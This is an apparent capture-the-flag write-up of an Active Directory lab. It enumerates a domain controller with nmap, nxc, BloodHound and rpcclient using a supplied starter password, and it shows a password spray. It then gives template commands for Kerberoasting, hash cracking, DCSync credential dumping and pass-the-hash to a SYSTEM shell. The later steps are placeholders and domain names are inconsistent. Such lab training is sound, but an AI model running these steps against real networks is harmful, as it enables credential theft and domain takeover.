49714/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49849/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=6/21%OT=53%CT=%CU=%PV=Y%DS=3%DC=T%G=N%TM=6A3871F2%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=108%TI=I%TS=A)
SEQ(SP=106%GCD=1%ISR=10B%TI=I%TS=A)
OPS(O1=M510NW8ST11%O2=M510NW8ST11%O3=M510NW8NNT11%O4=M510NW8ST11%O5=M510NW8ST11%O6=M510ST11)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M510NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=N)
Uptime guess: 0.007 days (since Sun Jun 21 19:11:46 2026)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-21T23:20:40
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 50672/tcp): CLEAN (Timeout)
| Check 2 (port 63506/tcp): CLEAN (Timeout)
| Check 3 (port 11527/udp): CLEAN (Timeout)
| Check 4 (port 35049/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 218.81 ms 10.200.0.1
2 ...
3 220.54 ms 10.0.26.198
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:21
Completed NSE at 19:21, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.60 seconds
Raw packets sent: 117 (9.456KB) | Rcvd: 63 (4.454KB)The classic Domain Controller fingerprint: 53 (DNS), 88 (Kerberos), 389/636 (LDAP/S), 445 (SMB), 3268 (Global Catalog). That tells you you’re looking at a DC before you’ve touched a single credential.
1.2 Pin the domain and hostname#
└─$ nxc smb 10.0.26.198
[*] Initializing SMB protocol database
SMB 10.0.26.198 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)SMB 10.0.26.198 445 DC01 [*] Windows Server ... (name:DC01) (domain:welcome.hacksmarter.local)Add it to your hosts file so Kerberos and tooling resolve names cleanly:
echo "10.0.26.198 DC01.WELCOME.local welcome.DC01.WELCOME.local" | sudo tee -a /etc/hosts2. Authenticated Enumeration#
You were handed a starter credential e.hills:Il0vemyj0b2025!. Validate it first:
─$ nxc smb 10.0.26.198 -u 'e.hills' -p 'Il0vemyj0b2025!' --shares
SMB 10.0.26.198 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.26.198 445 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SMB 10.0.26.198 445 DC01 [*] Enumerated shares
SMB 10.0.26.198 445 DC01 Share Permissions Remark
SMB 10.0.26.198 445 DC01 ----- ----------- ------
SMB 10.0.26.198 445 DC01 ADMIN$ Remote Admin
SMB 10.0.26.198 445 DC01 C$ Default share
SMB 10.0.26.198 445 DC01 Human Resources READ
SMB 10.0.26.198 445 DC01 IPC$ READ Remote IPC
SMB 10.0.26.198 445 DC01 NETLOGON READ Logon server share
SMB 10.0.26.198 445 DC01 SYSVOL READ Logon server share A
[+]fromnxcwith valid creds is your green light. If you seeSTATUS_LOGON_FAILURE, recheck the username format (uservsuser@domainvsDOMAIN\user) and clock skew (Kerberos is picky —sudo ntpdate 10.0.26.198).
2.1 Collect with BloodHound#
Graph the domain — it’s the single highest-leverage move in any AD box.
└─$ bloodhound-python -u 'e.hills' -p 'Il0vemyj0b2025!' -d WELCOME.local \
-ns 10.0.26.198 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: welcome.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.welcome.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.welcome.local
INFO: Found 12 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.WELCOME.local
INFO: Done in 00M 53S
INFO: Compressing output into 20260621193330_bloodhound.zipstart Bloodhound
─$ cd ~ && mkdir -p bloodhound && cd bloodhound
┌──(kali㉿kali)-[~/bloodhound]
└─$ ls
┌──(kali㉿kali)-[~/bloodhound]
└─$ curl -L https://ghst.ly/getbhce -o docker-compose.yml
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 156 100 156 0 0 63 0 00:02 00:02 63
100 3902 100 3902 0 0 1224 0 00:03 00:03 0
└─$ docker compose up
[+] Running 21/21
✔ app-db Pulled Import the zip into BloodHound and run the pre-built queries:
- Find Shortest Paths to Domain Admins
- Find Principals with DCSync Rights
- Shortest Path from Owned Principals
Mark your starting user as Owned, then let the graph show you the path.
2.2 Users, shares, and quick wins#
# Enumerate domain users
MB 10.0.26.198 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.26.198 445 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SMB 10.0.26.198 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.0.26.198 445 DC01 Administrator 2025-09-13 16:24:04 0 Built-in account for administering the computer/domain
SMB 10.0.26.198 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.0.26.198 445 DC01 krbtgt 2025-09-13 16:40:39 0 Key Distribution Center Service Account
SMB 10.0.26.198 445 DC01 e.hills 2025-09-13 20:41:15 0
SMB 10.0.26.198 445 DC01 j.crickets 2025-09-13 20:43:53 0
SMB 10.0.26.198 445 DC01 e.blanch 2025-09-13 20:49:13 0
SMB 10.0.26.198 445 DC01 i.park 2025-09-14 04:23:03 0 IT Intern
SMB 10.0.26.198 445 DC01 j.johnson 2025-09-13 20:58:15 0
SMB 10.0.26.198 445 DC01 a.harris 2025-09-13 20:59:13 0
SMB 10.0.26.198 445 DC01 svc_ca 2025-09-14 00:19:35 0
SMB 10.0.26.198 445 DC01 svc_web 2025-09-13 21:40:40 0 Web Server in Progress
SMB 10.0.26.198 445 DC01 [*] Enumerated 11 local users: WELCOME
# Spider readable shares for loot (configs, scripts, creds)
└─$ nxc smb 10.0.26.198 -u 'e.hills' -p 'Il0vemyj0b2025!' -M spider_plus
SMB 10.0.26.198 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.26.198 445 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SPIDER_PLUS 10.0.26.198 445 DC01 [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.0.26.198 445 DC01 [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.0.26.198 445 DC01 [*] STATS_FLAG: True
SPIDER_PLUS 10.0.26.198 445 DC01 [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.0.26.198 445 DC01 [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.0.26.198 445 DC01 [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.0.26.198 445 DC01 [*] OUTPUT_FOLDER: /home/kali/.nxc/modules/nxc_spider_plus
SMB 10.0.26.198 445 DC01 [*] Enumerated shares
SMB 10.0.26.198 445 DC01 Share Permissions Remark
SMB 10.0.26.198 445 DC01 ----- ----------- ------
SMB 10.0.26.198 445 DC01 ADMIN$ Remote Admin
SMB 10.0.26.198 445 DC01 C$ Default share
SMB 10.0.26.198 445 DC01 Human Resources READ
SMB 10.0.26.198 445 DC01 IPC$ READ Remote IPC
SMB 10.0.26.198 445 DC01 NETLOGON READ Logon server share
SMB 10.0.26.198 445 DC01 SYSVOL READ Logon server share
SPIDER_PLUS 10.0.26.198 445 DC01 [+] Saved share-file metadata to "/home/kali/.nxc/modules/nxc_spider_plus/10.0.26.198.json".
SPIDER_PLUS 10.0.26.198 445 DC01 [*] SMB Shares: 6 (ADMIN$, C$, Human Resources, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.0.26.198 445 DC01 [*] SMB Readable Shares: 4 (Human Resources, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.0.26.198 445 DC01 [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.0.26.198 445 DC01 [*] Total folders found: 16
SPIDER_PLUS 10.0.26.198 445 DC01 [*] Total files found: 10
SPIDER_PLUS 10.0.26.198 445 DC01 [*] File size average: 41.59 KB
SPIDER_PLUS 10.0.26.198 445 DC01 [*] File size min: 22 B
SPIDER_PLUS 10.0.26.198 445 DC01 [*] File size max: 87.41 KBSince we have read access to the IPC$ share allows RID cycling, which can be used to enumerate domain users. In Addition, read access to the Human Resources share is discovered, which may contain sensitive information. we can enumerate this later!!..#
3. Password Spraying#
─$ rpcclient -U e.hills%Il0vemyj0b2025! 10.0.26.198
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[e.hills] rid:[0x451]
user:[j.crickets] rid:[0x452]
user:[e.blanch] rid:[0x453]
user:[i.park] rid:[0x454]
user:[j.johnson] rid:[0x455]
user:[a.harris] rid:[0x456]
user:[svc_ca] rid:[0x458]
user:[svc_web] rid:[0x45a]
rpcclient $> awk -F'[][]' '{print $2}' users.txt^C
┌──(kali㉿kali)-[/mnt/hgfs]
└─$ rpcclient -U 'e.hills%Il0vemyj0b2025!' 10.0.26.198 -c enumdomusers | awk -F'[][]' '{print $2}' > usernames.txt
┌──(kali㉿kali)-[/mnt/hgfs]
└─$ cat usernames.txt
Administrator
Guest
krbtgt
e.hills
j.crickets
e.blanch
i.park
j.johnson
a.harris
svc_ca
svc_webNow that we have the list of users in a file, we can do a password spray
└─$ nxc smb 10.0.26.198 -u usernames.txt -p 'Il0vemyj0b2025!'
SMB 10.0.26.198 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.26.198 445 DC01 [-] WELCOME.local\Administrator:Il0vemyj0b2025! STATUS_LOGON_FAILURE
SMB 10.0.26.198 445 DC01 [-] WELCOME.local\Guest:Il0vemyj0b2025! STATUS_LOGON_FAILURE
SMB 10.0.26.198 445 DC01 [-] WELCOME.local\krbtgt:Il0vemyj0b2025! STATUS_LOGON_FAILURE
SMB 10.0.26.198 445 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025! Since the password spraying attempt was unsuccessful, we can proceed to enumerate the Human Resources SMB share for any interesting information that could be used to continue our assessment.
3. Foothold / Privilege Escalation#
Document the specific misconfiguration you abused here. On an easy AD lab this is usually one of: Kerberoasting a service account, an ACL edge (e.g.
GenericWrite/ForceChangePassword), or readable credentials in a share/GPO.
Example — Kerberoasting, if BloodHound flags an SPN-bearing account:
# Request service tickets for crackable hashes
impacket-GetUserSPNs welcome.hacksmarter.local/user:password -dc-ip 10.0.26.198 -request -outputfile spns.hash
# Crack offline
hashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txtThen validate the recovered credential and move along the BloodHound path:
nxc smb 10.0.26.198 -u 'svc_account' -p '<cracked_password>'4. Domain Admin#
Once the attack path lands on a privileged principal, dump the domain and prove it:
# DCSync if you've reached an account with replication rights
impacket-secretsdump welcome.hacksmarter.local/<priv_user>:'<password>'@10.0.26.198# Pass-the-Hash to a SYSTEM shell on the DC
impacket-psexec -hashes :<NTLM_HASH> welcome.hacksmarter.local/administrator@10.0.26.198nt authority\systemFlags#
| Flag | Location | Value |
|---|---|---|
| User | C:\Users\user\Desktop\user.txt |
REDACTED |
| Root | C:\Users\Administrator\Desktop\root.txt |
REDACTED |
Lessons Learned#
- BloodHound first. On AD, the graph turns a maze into a straight line. Always mark owned principals.
- Credential hygiene is the vuln. Easy AD boxes almost always hinge on a reused/weak/exposed credential, not an exploit.
- Kerberos is time-sensitive. Sync your clock to the DC before anything Kerberos-related.